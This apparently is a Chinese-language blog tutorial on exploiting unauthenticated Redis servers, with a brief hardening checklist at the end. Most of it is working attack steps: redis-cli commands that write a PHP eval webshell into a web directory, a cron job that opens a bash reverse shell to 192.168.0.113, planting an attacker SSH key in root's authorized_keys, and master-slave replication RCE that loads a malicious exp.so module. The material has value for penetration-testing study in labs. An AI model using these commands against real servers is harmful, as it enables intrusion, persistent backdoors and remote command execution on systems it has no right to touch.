![](https://i-blog.csdnimg.cn/blog_migrate/f4593b2706c3067fe21087ef3e3309c8.png)
REmote DIctionary Server(Redis) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库
关于Redis可以看菜鸟教程:
未授权访问
主要是因为配置不当,导致未授权访问漏洞,进一步将恶意数据写入内存或者磁盘之中,造成更大的危害
redis.conf 配置文件中两项配置不当:
- 配置登录策略导致任意机器都可以登录 redis(设置bind 参数为 0.0.0.0或者将 bind 参数注释掉,关闭保护模式(设置 protected-mode 的参数为no)
- 未设置密码或者设置弱口令
恶意攻击者可以通过原生 Redis 自带的命令行工具 Redis-cli 进行攻击
Kali安装 Redis-cli
-
下载redis-cli
wget http://download.redis.io/redis-stable.tar.gz
-
解压缩
tar -zxvf redis-stable.tar.gz
-
简易配置
cd redis-stable make cp src/redis-cli /usr/bin/
然后输入命令验证
redis-cli -h 目标主机IP地址 -p 端口号
使用命令连接远程redis
发现目标服务器存在redis未授权访问
常用命令
1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.看所有键:KEYS*,使用 select nun可以查看键值数据
5.设置变量:set test“who am i
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量,查看变量名称
利用redis写入webshell
Redis 存在未授权访问的情况下,也开启了 web 服务,知道 web 目录的路径(猜解或者信息泄露),具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入shell文件
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>"
# set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
save
这样就可以在web目录下生成一个名为shell.php的后门文件,可以直接利用,这也是常用的方法
任务计划反弹Shell
如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell
首先需要在vps上开启监听接受返回的shell
nc -lvnp 6666
然后利用redis-cli写入任务计划,修改命令中的IP和端口
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
执行命令后等待接收反弹shell即可
注意任务计划反弹shell方法仅适用于Centos
Ubuntu 不能用的原因如下:
- 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件/var/spool/cron/<username>
权限 644 也可以执行 - 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错
由于系统的不同,crontrab 定时文件位置也不同:
- Centos 的定时任务文件在
/var/spool/cron/<username>
- Ubuntu 的定时任务文件在
/var/spool/cron/crontabs/<username>
ssh-keygen 公钥登录服务器
Redis 存在未授权访问或者弱口令并且开启了 ssh 服务的情况下,如果运行 redis 的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以直接登录目标服务器
漏洞复现环境使用docker:
https://github.com/Medicean/VulApps/tree/master/r/redis/1
- 拉取镜像到本地
$ docker pull medicean/vulapps:r_redis_1
- 启动环境
$ docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1
-p 22:22
前面的 22 代表物理机的端口,可随意指定因为我服务器本来安装了redis占用了6379端口,接下来的实验中使用16379代替(修改docker-compose.yml即可修改端口),1122代替22
注意:服务器防火墙策略中打开对应端口
利用步骤
1.在攻击方生成一对 ssh key
ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的 .ssh 目录下
2.将生成的公钥值写入目标服务器
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
加上
\n\n
是为了不破坏 ssh public keycrackit 是设置的 key,可随意指定
3.连接目标
$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
OK
192.168.1.100:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.1.100:6379> config set dbfilename "authorized_keys"
OK
192.168.1.100:6379> save
OK
将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys
,通过 save 指令即可写入文件
4.通过ssh连接目标
ssh root@192.168.1.100 -i ~/.ssh/id_rsa
# 默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定
# 使用 -p 参数指定连接端口默认为22
利用主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令
漏洞环境使用Vulhub
地址:https://vulhub.org/#/environments/redis/4-unacc/
环境搭建:进入目录使用命令启动
docker-compose up -d
下面演示中因为端口占用docker开放16379段口(修改yml文件)
使用如下POC(需要python3环境)即可直接执行命令:https://github.com/vulhub/redis-rogue-getshell,需要在vps上进行操作
1.首先下载poc,编译生成 exp.so 文件
cd RedisModulesSDK/
make
2.使用脚本
python3 redis-master.py -h
# 查看用法
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
这样就可以执行命令了
手动步骤
redis-cli -h 192.168.10.187
> ping
> config set dir ./ # 设置redis的备份路径为当前目录
> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999 # 设置主服务器IP和端口
> module load ./exp.so # 加载恶意模块
> slaveof no one # 切断主从,关闭复制功能
> system.exec 'whoami' # 执行系统命令
> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so' # 删除exp.so
> module unload system # 卸载system模块的加载
windows
Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows
下的 redis
的利用方法主要是往 web 目录写马以及写启动项
可以使用 RedisWriteFile 工具写入数据,原理是利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,可以写入无损文件
具体使用方法参考:Redis(Windows)的getshell
SSRF
Redis未授权经常和SSRF一同出现
关于SSRF可以看之前发过的一篇文章
再探SSRF服务器请求伪造(weblogic cve ssrf redis未授权)
其他优秀文章:纸上得来终觉浅——Redis 个人总结
安全设置
- 单独为redis设置一个普通账号启动 redis
- 设置本地 localhost 不允许外部访问
- 保护模式开启 protected-mode 开启 (默认开启)
- 把端口最好更改
- requirepass 设置redis密码